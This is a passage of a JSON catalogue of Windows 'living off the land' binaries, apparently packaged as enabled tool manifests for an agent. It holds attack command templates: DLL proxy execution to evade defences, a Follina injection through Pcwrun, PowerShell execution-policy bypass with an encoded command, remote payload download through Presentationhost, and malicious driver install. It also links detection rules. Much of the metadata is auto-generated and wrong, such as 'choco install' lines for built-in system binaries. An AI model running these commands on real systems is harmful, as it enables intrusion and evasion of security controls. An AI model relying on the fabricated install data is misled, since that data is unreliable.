      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Used in Windows for managing ODBC connections Located at: C:\\Windows\\System32\\odbcconf.exe; C:\\Windows\\SysWOW64\\odbcconf.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_odbcconf_response_file.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_odbcconf_response_file_susp.yml"
      },
      {
        "type": "elastic",
        "url": "https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_unusual_process_network_connection.toml"
      },
      {
        "type": "elastic",
        "url": "https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_network_connection_from_windows_binary.toml"
      }
    ],
    "examples": [
      {
        "description": "Execute DllRegisterServer from DLL specified. (Execute a DLL file using technique that can evade defensive counter measures)",
        "command": "odbcconf /a {REGSVR {PATH_ABSOLUTE:.dll}}"
      },
      {
        "description": "Install a driver and load the DLL. Requires administrator privileges. (Execute dll file using technique that can evade defensive counter measures)",
        "command": "odbcconf INSTALLDRIVER \"lolbas-project|Driver={PATH_ABSOLUTE:.dll}|APILevel=2\"\nodbcconf configsysdsn \"lolbas-project\" \"DSN=lolbas-project\"\n"
      },
      {
        "description": "Load DLL specified in target .RSP file. See the Code Sample section for an example .RSP file. (Execute dll file using technique that can evade defensive counter measures)",
        "command": "odbcconf -f {PATH:.rsp}"
      }
    ],
    "execution": {
      "template": "odbcconf",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "network-intensive",
      "pipes-stdin",
      "pipes-stdout",
      "remote"
    ],
    "global_vars": {},
    "id": "windows-execution-odbcconf",
    "install": [
      {
        "method": "choco",
        "package_name": "odbcconf",
        "commands": [
          "choco install odbcconf"
        ]
      }
    ],
    "mitre_ids": [
      "T1218.008"
    ],
    "name": "odbcconf",
    "namespace": "windows:execution:odbcconf",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "6ef02ce3fd623483137b45f65017352b",
        "url": "https://gist.github.com/NickTyrer/6ef02ce3fd623483137b45f65017352b"
      },
      {
        "label": "application-restriction-bypasses",
        "url": "https://github.com/woanware/application-restriction-bypasses"
      },
      {
        "label": "",
        "url": "https://www.hexacorn.com/blog/2020/08/23/odbcconf-lolbin-trifecta/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# offlinescannershell\n\nofflinescannershell is a Windows LOLBin. Windows Defender Offline Shell Located at: C:\\Program Files\\Windows Defender\\Offline\\OfflineScannerShell.exe.\n",
    "_source": "offlinescannershell.md",
    "allowed-tools": [
      "offlinescannershell"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Elliot Killick",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Windows Defender Offline Shell Located at: C:\\Program Files\\Windows Defender\\Offline\\OfflineScannerShell.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/bea6f18d350d9c9fdc067f93dde0e9b11cc22dc2/rules/windows/process_creation/proc_creation_win_lolbas_offlinescannershell.yml"
      },
      {
        "type": "ioc",
        "description": "OfflineScannerShell.exe should not be run on a normal workstation"
      }
    ],
    "examples": [
      {
        "description": "Execute mpclient.dll library in the current working directory (Can be used to evade defensive countermeasures or to hide as a persistence mechanism)",
        "command": "OfflineScannerShell"
      }
    ],
    "execution": {
      "template": "offlinescannershell",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "interactive",
      "local",
      "network-intensive",
      "pipes-stdin",
      "pipes-stdout"
    ],
    "global_vars": {},
    "id": "windows-execution-offlinescannershell",
    "install": [
      {
        "method": "choco",
        "package_name": "offlinescannershell",
        "commands": [
          "choco install offlinescannershell"
        ]
      }
    ],
    "mitre_ids": [
      "T1218"
    ],
    "name": "offlinescannershell",
    "namespace": "windows:execution:offlinescannershell",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# openconsole\n\nopenconsole is a Windows LOLBin. Console Window host for Windows Terminal Located at: C:\\Program Files (x86)\\Microsoft Visual Studio\\2019\\Community\\Common7\\IDE\\CommonExtensions\\Microsoft\\Terminal\\ServiceHub\\os64\\OpenConsole.exe; C:\\Program Files (x86)\\Microsoft Visual Studio\\2019\\Community\\Common7\\IDE\\CommonExtensions\\Microsoft\\Terminal\\ServiceHub\\os86\\OpenConsole.exe; C:\\Program Files\\Microsoft Visual Studio\\2022\\Community\\Common7\\IDE\\CommonExtensions\\Microsoft\\Terminal\\ServiceHub\\os64\\OpenConsole.exe.\n",
    "_source": "openconsole.md",
    "allowed-tools": [
      "openconsole"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Nasreddine Bencherchali",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Console Window host for Windows Terminal Located at: C:\\Program Files (x86)\\Microsoft Visual Studio\\2019\\Community\\Common7\\IDE\\CommonExtensions\\Microsoft\\Terminal\\ServiceHub\\os64\\OpenConsole.exe; C:\\Program Files (x86)\\Microsoft Visual Studio\\2019\\Community\\Common7\\IDE\\CommonExtensions\\Microsoft\\Terminal\\ServiceHub\\os86\\OpenConsole.exe; C:\\Program Files\\Microsoft Visual Studio\\2022\\Community\\Common7\\IDE\\CommonExtensions\\Microsoft\\Terminal\\ServiceHub\\os64\\OpenConsole.exe.",
    "detections": [
      {
        "type": "ioc",
        "description": "OpenConsole.exe spawning unexpected processes"
      },
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/9e0ef7251b075f15e7abafbbec16d3230c5fa477/rules/windows/process_creation/proc_creation_win_lolbin_openconsole.yml"
      }
    ],
    "examples": [
      {
        "description": "Execute specified process with OpenConsole.exe as parent process (Use OpenConsole.exe as a proxy binary to evade defensive counter-measures)",
        "command": "OpenConsole.exe {PATH:.exe}"
      }
    ],
    "execution": {
      "template": "openconsole",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "pipes-stdin",
      "pipes-stdout",
      "process-manip"
    ],
    "global_vars": {},
    "id": "windows-execution-openconsole",
    "install": [
      {
        "method": "choco",
        "package_name": "openconsole",
        "commands": [
          "choco install openconsole"
        ]
      }
    ],
    "mitre_ids": [
      "T1202"
    ],
    "name": "openconsole",
    "namespace": "windows:execution:openconsole",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "1537563834478645252",
        "url": "https://twitter.com/nas_bench/status/1537563834478645252"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# pcalua\n\npcalua is a Windows LOLBin. Program Compatibility Assistant Located at: C:\\Windows\\System32\\pcalua.exe.\n",
    "_source": "pcalua.md",
    "allowed-tools": [
      "pcalua"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Oddvar Moe",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Program Compatibility Assistant Located at: C:\\Windows\\System32\\pcalua.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_lolbin_pcalua.yml"
      }
    ],
    "examples": [
      {
        "description": "Open the target .EXE using the Program Compatibility Assistant. (Proxy execution of binary)",
        "command": "pcalua.exe -a {PATH:.exe}"
      },
      {
        "description": "Open the target .DLL file with the Program Compatibilty Assistant. (Proxy execution of remote dll file)",
        "command": "pcalua.exe -a {PATH_SMB:.dll}"
      },
      {
        "description": "Open the target .CPL file with the Program Compatibility Assistant. (Execution of CPL files)",
        "command": "pcalua.exe -a {PATH_ABSOLUTE:.cpl} -c Java"
      }
    ],
    "execution": {
      "template": "pcalua",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "pipes-stdin",
      "pipes-stdout"
    ],
    "global_vars": {},
    "id": "windows-execution-pcalua",
    "install": [
      {
        "method": "choco",
        "package_name": "pcalua",
        "commands": [
          "choco install pcalua"
        ]
      }
    ],
    "mitre_ids": [
      "T1202"
    ],
    "name": "pcalua",
    "namespace": "windows:execution:pcalua",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "912659279806640128",
        "url": "https://twitter.com/KyleHanslovan/status/912659279806640128"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# pcwrun\n\npcwrun is a Windows LOLBin. Program Compatibility Wizard Located at: C:\\Windows\\System32\\pcwrun.exe.\n",
    "_source": "pcwrun.md",
    "allowed-tools": [
      "pcwrun"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Oddvar Moe",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Program Compatibility Wizard Located at: C:\\Windows\\System32\\pcwrun.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/6199a703221a98ae6ad343c79c558da375203e4e/rules/windows/process_creation/proc_creation_win_lolbin_pcwrun_follina.yml"
      }
    ],
    "examples": [
      {
        "description": "Open the target .EXE file with the Program Compatibility Wizard. (Proxy execution of binary)",
        "command": "Pcwrun.exe {PATH_ABSOLUTE:.exe}"
      },
      {
        "description": "Leverage the MSDT follina vulnerability through Pcwrun to execute arbitrary commands and binaries. Note that this specific technique will not work on a patched system with the June 2022 Windows Security update. (Proxy execution of binary)",
        "command": "Pcwrun.exe /../../$(calc).exe"
      }
    ],
    "execution": {
      "template": "pcwrun",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "pipes-stdin",
      "pipes-stdout",
      "process-manip"
    ],
    "global_vars": {},
    "id": "windows-execution-pcwrun",
    "install": [
      {
        "method": "choco",
        "package_name": "pcwrun",
        "commands": [
          "choco install pcwrun"
        ]
      }
    ],
    "mitre_ids": [
      "T1218",
      "T1202"
    ],
    "name": "pcwrun",
    "namespace": "windows:execution:pcwrun",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "991335019833708544",
        "url": "https://twitter.com/pabraeken/status/991335019833708544"
      },
      {
        "label": "1535663791362519040",
        "url": "https://twitter.com/nas_bench/status/1535663791362519040"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# pcwutl\n\npcwutl is a Windows LOLBin. Microsoft HTML Viewer Located at: c:\\windows\\system32\\pcwutl.dll; c:\\windows\\syswow64\\pcwutl.dll.\n",
    "_source": "pcwutl.md",
    "allowed-tools": [
      "pcwutl"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "LOLBAS Team",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Microsoft HTML Viewer Located at: c:\\windows\\system32\\pcwutl.dll; c:\\windows\\syswow64\\pcwutl.dll.",
    "detections": [
      {
        "type": "other",
        "url": "https://redcanary.com/threat-detection-report/techniques/rundll32/"
      },
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_rundll32_susp_activity.yml"
      }
    ],
    "examples": [
      {
        "description": "Launch executable by calling the LaunchApplication function. (Launch an executable.)",
        "command": "rundll32.exe pcwutl.dll,LaunchApplication {PATH:.exe}"
      }
    ],
    "execution": {
      "template": "pcwutl",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "pipes-stdin",
      "pipes-stdout"
    ],
    "global_vars": {},
    "id": "windows-execution-pcwutl",
    "install": [
      {
        "method": "choco",
        "package_name": "pcwutl",
        "commands": [
          "choco install pcwutl"
        ]
      }
    ],
    "mitre_ids": [
      "T1218.011"
    ],
    "name": "pcwutl",
    "namespace": "windows:execution:pcwutl",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "989617817849876488",
        "url": "https://twitter.com/harr0ey/status/989617817849876488"
      },
      {
        "label": "pcwutl_dll.html",
        "url": "https://windows10dll.nirsoft.net/pcwutl_dll.html"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# pester\n\npester is a Windows LOLBin. Used as part of the Powershell pester Located at: c:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\<VERSION>\\bin\\Pester.bat.\n",
    "_source": "pester.md",
    "allowed-tools": [
      "pester"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Oddvar Moe",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Used as part of the Powershell pester Located at: c:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\<VERSION>\\bin\\Pester.bat.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_lolbin_pester_1.yml"
      }
    ],
    "examples": [
      {
        "description": "Execute code using Pester. The third parameter can be anything. The fourth is the payload. (Proxy execution)",
        "command": "Pester.bat [/help|?|-?|/?] \"$null; {CMD}\""
      },
      {
        "description": "Execute code using Pester. Example here executes specified executable. (Proxy execution)",
        "command": "Pester.bat ;{PATH:.exe}"
      }
    ],
    "execution": {
      "template": "pester",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "interactive",
      "local",
      "pipes-stdin",
      "pipes-stdout"
    ],
    "global_vars": {},
    "id": "windows-execution-pester",
    "install": [
      {
        "method": "choco",
        "package_name": "pester",
        "commands": [
          "choco install pester"
        ]
      }
    ],
    "mitre_ids": [
      "T1216"
    ],
    "name": "pester",
    "namespace": "windows:execution:pester",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "993383596244258816",
        "url": "https://twitter.com/Oddvarmoe/status/993383596244258816"
      },
      {
        "label": "1560072680887525378",
        "url": "https://twitter.com/_st0pp3r_/status/1560072680887525378"
      },
      {
        "label": "1560072680887525378",
        "url": "https://twitter.com/_st0pp3r_/status/1560072680887525378"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# pixtool\n\npixtool is a Windows LOLBin. Command line utility for taking and analyzing PIX GPU captures. Located at: C:\\Program Files\\Microsoft PIX\\pixtool.exe; C:\\Program Files (x86)\\Microsoft PIX\\pixtool.exe.\n",
    "_source": "pixtool.md",
    "allowed-tools": [
      "pixtool"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Avihay Eldad",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Command line utility for taking and analyzing PIX GPU captures. Located at: C:\\Program Files\\Microsoft PIX\\pixtool.exe; C:\\Program Files (x86)\\Microsoft PIX\\pixtool.exe.",
    "detections": [],
    "examples": [
      {
        "description": "Launches an executable via PIX command-line utility. (Executes an executable under a trusted, Microsoft signed binary.)",
        "command": "pixtool.exe launch {PATH_ABSOLUTE:.exe}"
      }
    ],
    "execution": {
      "template": "pixtool",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "pipes-stdin",
      "pipes-stdout"
    ],
    "global_vars": {},
    "id": "windows-execution-pixtool",
    "install": [
      {
        "method": "choco",
        "package_name": "pixtool",
        "commands": [
          "choco install pixtool"
        ]
      }
    ],
    "mitre_ids": [
      "T1127"
    ],
    "name": "pixtool",
    "namespace": "windows:execution:pixtool",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "",
        "url": "https://devblogs.microsoft.com/pix/pixtool/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# pnputil\n\npnputil is a Windows LOLBin. Used for installing drivers Located at: C:\\Windows\\system32\\pnputil.exe.\n",
    "_source": "pnputil.md",
    "allowed-tools": [
      "pnputil"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Hai vaknin (lux)",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Used for installing drivers Located at: C:\\Windows\\system32\\pnputil.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_lolbin_susp_driver_installed_by_pnputil.yml"
      }
    ],
    "examples": [
      {
        "description": "Used for installing drivers (Add malicious driver)",
        "command": "pnputil.exe -i -a {PATH_ABSOLUTE:.inf}"
      }
    ],
    "execution": {
      "template": "pnputil",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "pipes-stdin",
      "pipes-stdout"
    ],
    "global_vars": {},
    "id": "windows-execution-pnputil",
    "install": [
      {
        "method": "choco",
        "package_name": "pnputil",
        "commands": [
          "choco install pnputil"
        ]
      }
    ],
    "mitre_ids": [
      "T1547"
    ],
    "name": "pnputil",
    "namespace": "windows:execution:pnputil",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# powershell\n\npowershell is a Windows LOLBin. Powershell.exe is a a task-based command-line shell built on .NET. Located at: C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\powershell.exe; C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.\n",
    "_source": "powershell.md",
    "allowed-tools": [
      "powershell"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Everyone",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Powershell.exe is a a task-based command-line shell built on .NET. Located at: C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\powershell.exe; C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/tree/71ae004b32bb3c7fb04714f8a051fc8e5edda68c/rules/windows/powershell"
      }
    ],
    "examples": [
      {
        "description": "Set the execution policy to bypass and execute a PowerShell script without warning (Execute PowerShell cmdlets, .NET code, and just about anything else your heart desires)",
        "command": "powershell.exe -ep bypass -file c:\\path\\to\\a\\script.ps1"
      },
      {
        "description": "Set the execution policy to bypass and execute a PowerShell command (Execute PowerShell cmdlets, .NET code, and just about anything else your heart desires)",
        "command": "powershell.exe -ep bypass -command \"Invoke-AllTheThings...\""
      },
      {
        "description": "Set the execution policy to bypass and execute a very malicious PowerShell encoded command (Execute PowerShell cmdlets, .NET code, and just about anything else your heart desires)",
        "command": "powershell.exe -ep bypass -ec IgBXAGUAIAA8ADMAIABMAE8ATABCAEEAUwAiAA=="
      }
    ],
    "execution": {
      "template": "powershell",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "interactive",
      "pipes-stdin",
      "pipes-stdout"
    ],
    "global_vars": {},
    "id": "windows-execution-powershell",
    "install": [
      {
        "method": "choco",
        "package_name": "powershell",
        "commands": [
          "choco install powershell"
        ]
      }
    ],
    "mitre_ids": [
      "T1059.001"
    ],
    "name": "powershell",
    "namespace": "windows:execution:powershell",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "about_powershell_exe?view=powershell-5.1",
        "url": "https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_powershell_exe?view=powershell-5.1"
      },
      {
        "label": "",
        "url": "https://attack.mitre.org/techniques/T1059/001/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# presentationhost\n\npresentationhost is a Windows LOLBin. File is used for executing Browser applications Located at: C:\\Windows\\System32\\Presentationhost.exe; C:\\Windows\\SysWOW64\\Presentationhost.exe.\n",
    "_source": "presentationhost.md",
    "allowed-tools": [
      "presentationhost"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Oddvar Moe",
    "capabilities": [
      "security.execution.command",
      "network.transfer.download"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "network_traffic",
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "medium",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "File is used for executing Browser applications Located at: C:\\Windows\\System32\\Presentationhost.exe; C:\\Windows\\SysWOW64\\Presentationhost.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_lolbin_presentationhost_download.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_lolbin_presentationhost.yml"
      },
      {
        "type": "ioc",
        "description": "Execution of .xbap files may not be common on production workstations"
      }
    ],
    "examples": [
      {
        "description": "Executes the target XAML Browser Application (XBAP) file (Execute code within XBAP files)",
        "command": "Presentationhost.exe {PATH_ABSOLUTE:.xbap}"
      },
      {
        "description": "It will download a remote payload and place it in INetCache. (Downloads payload from remote server)",
        "command": "Presentationhost.exe {REMOTEURL}"
      }
    ],
    "execution": {
      "template": "presentationhost",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "network-intensive",
      "pipes-stdin",
      "pipes-stdout"
    ],
    "global_vars": {},
    "id": "windows-execution-presentationhost",
    "install": [
      {
        "method": "choco",
        "package_name": "presentationhost",
        "commands": [
          "choco install presentationhost"
        ]
      }
    ],
    "mitre_ids": [
      "T1218",
      "T1105"
    ],
    "name": "presentationhost",
    "namespace": "windows:execution:presentationhost",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "ShmooCon-2015-Simple-WLEvasion.pdf",
        "url": "https://github.com/api0cradle/ShmooCon-2015/blob/master/ShmooCon-2015-Simple-WLEvasion.pdf"
      },
      {
        "label": "",
        "url": "https://oddvar.moe/2017/12/21/applocker-case-study-how-insecure-is-it-really-part-2/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "medium",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution",
      "defense-evasion",
      "exfiltration"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# procdump\n\nprocdump is a Windows LOLBin. SysInternals Memory Dump Tool Located at: no default.\n",
    "_source": "procdump.md",
    "allowed-tools": [
      "procdump"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Alfie Champion (@ajpc500)",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "SysInternals Memory Dump Tool Located at: no default.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_renamed_sysinternals_procdump.yml"
      },
      {
        "type": "sigma",
